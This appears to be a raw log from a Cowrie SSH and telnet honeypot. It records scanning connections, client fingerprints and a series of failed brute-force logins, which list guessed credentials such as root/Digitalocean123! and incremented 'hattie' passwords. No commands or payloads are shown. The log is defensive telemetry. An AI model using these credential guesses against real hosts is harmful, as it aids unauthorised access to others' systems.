{"eventid":"cowrie.login.failed","username":"Yuexf","password":"123456","message":"login attempt [Yuexf/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:16.251674Z","src_ip":"159.203.92.129","session":"9b2666612baf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:17.271312Z","src_ip":"159.203.92.129","session":"9b2666612baf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.51.7","src_port":44678,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd1c69e56ac4","protocol":"ssh","message":"New connection: 196.189.51.7:44678 (10.17.0.5:22) [session: dd1c69e56ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:28.201184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:28.209233Z","src_ip":"196.189.51.7","session":"dd1c69e56ac4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:28.376279Z","src_ip":"196.189.51.7","session":"dd1c69e56ac4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"administrator","message":"login attempt [ubuntu/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:29.068738Z","src_ip":"196.189.51.7","session":"dd1c69e56ac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:30.238488Z","src_ip":"196.189.51.7","session":"dd1c69e56ac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.219.53.174","src_port":45900,"dst_ip":"159.203.135.109","dst_port":23,"session":"c538fec07c0c","protocol":"telnet","message":"New connection: 207.219.53.174:45900 (159.203.135.109:23) [session: c538fec07c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:32.360960Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":56500,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c5756da9594","protocol":"ssh","message":"New connection: 31.59.89.180:56500 (159.203.135.109:22) [session: 3c5756da9594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:48.652341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:48.657777Z","src_ip":"31.59.89.180","session":"3c5756da9594","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:48.766495Z","src_ip":"31.59.89.180","session":"3c5756da9594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"abc.123","message":"login attempt [user/abc.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:49.231505Z","src_ip":"31.59.89.180","session":"3c5756da9594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:50.343585Z","src_ip":"31.59.89.180","session":"3c5756da9594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48088,"dst_ip":"159.203.135.109","dst_port":22,"session":"e53532b4bd82","protocol":"ssh","message":"New connection: 159.203.92.129:48088 (159.203.135.109:22) [session: e53532b4bd82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:59.210378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:59.250344Z","src_ip":"159.203.92.129","session":"e53532b4bd82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:59.276362Z","src_ip":"159.203.92.129","session":"e53532b4bd82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Yuexf","password":"Yuexf","message":"login attempt [Yuexf/Yuexf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:59.422226Z","src_ip":"159.203.92.129","session":"e53532b4bd82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.156.203.73","src_port":43884,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a16951366fa","protocol":"telnet","message":"New connection: 38.156.203.73:43884 (159.203.135.109:23) [session: 4a16951366fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:00.150398Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:00.430577Z","src_ip":"159.203.92.129","session":"e53532b4bd82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.156.203.73","src_port":44514,"dst_ip":"159.203.135.109","dst_port":23,"session":"30ee969c7556","protocol":"telnet","message":"New connection: 38.156.203.73:44514 (159.203.135.109:23) [session: 30ee969c7556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:01.562120Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":53300,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ed522bd9bed","protocol":"ssh","message":"New connection: 185.216.119.134:53300 (10.17.0.5:22) [session: 7ed522bd9bed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:03.135046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:03.146493Z","src_ip":"185.216.119.134","session":"7ed522bd9bed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:04.094226Z","src_ip":"185.216.119.134","session":"7ed522bd9bed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@!QAZ","message":"login attempt [root/1qaz@!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:05.245227Z","src_ip":"185.216.119.134","session":"7ed522bd9bed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.156.203.73","src_port":45000,"dst_ip":"159.203.135.109","dst_port":23,"session":"c03ac1990389","protocol":"telnet","message":"New connection: 38.156.203.73:45000 (159.203.135.109:23) [session: c03ac1990389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:05.955837Z"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:06.470283Z","src_ip":"185.216.119.134","session":"7ed522bd9bed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":47862,"dst_ip":"159.203.135.109","dst_port":22,"session":"95f0f33f60c6","protocol":"ssh","message":"New connection: 80.94.92.186:47862 (159.203.135.109:22) [session: 95f0f33f60c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:09.036676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:09.142976Z","src_ip":"80.94.92.186","session":"95f0f33f60c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:09.145980Z","src_ip":"80.94.92.186","session":"95f0f33f60c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jupyter","password":"jupyter","message":"login attempt [jupyter/jupyter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:10.202510Z","src_ip":"80.94.92.186","session":"95f0f33f60c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:11.444934Z","src_ip":"80.94.92.186","session":"95f0f33f60c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":48090,"dst_ip":"10.17.0.5","dst_port":22,"session":"607121d9f756","protocol":"ssh","message":"New connection: 213.209.159.159:48090 (10.17.0.5:22) [session: 607121d9f756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:33.054444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:33.059069Z","src_ip":"213.209.159.159","session":"607121d9f756","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:33.145104Z","src_ip":"213.209.159.159","session":"607121d9f756","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hattie","password":"hattie","message":"login attempt [hattie/hattie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:33.547469Z","src_ip":"213.209.159.159","session":"607121d9f756","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":54778,"dst_ip":"159.203.135.109","dst_port":22,"session":"3634c5067661","protocol":"ssh","message":"New connection: 31.59.89.180:54778 (159.203.135.109:22) [session: 3634c5067661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:33.866674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:33.870937Z","src_ip":"31.59.89.180","session":"3634c5067661","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:33.982715Z","src_ip":"31.59.89.180","session":"3634c5067661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Digitalocean123!","message":"login attempt [root/Digitalocean123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:34.459681Z","src_ip":"31.59.89.180","session":"3634c5067661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hattie","password":"hattie1","message":"login attempt [hattie/hattie1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:34.632567Z","src_ip":"213.209.159.159","session":"607121d9f756","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:35.573658Z","src_ip":"31.59.89.180","session":"3634c5067661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hattie","password":"hattie123","message":"login attempt [hattie/hattie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:35.717172Z","src_ip":"213.209.159.159","session":"607121d9f756","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hattie","password":"hattie1234","message":"login attempt [hattie/hattie1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:36.803191Z","src_ip":"213.209.159.159","session":"607121d9f756","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hattie","password":"hattie12345","message":"login attempt [hattie/hattie12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:37.892469Z","src_ip":"213.209.159.159","session":"607121d9f756","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:38.977856Z","src_ip":"213.209.159.159","session":"607121d9f756","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35320,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6ee26155c71","protocol":"ssh","message":"New connection: 159.203.92.129:35320 (159.203.135.109:22) [session: d6ee26155c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:44.252583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:49:44.257360Z","src_ip":"159.203.92.129","session":"d6ee26155c71","protocol":"ssh"}
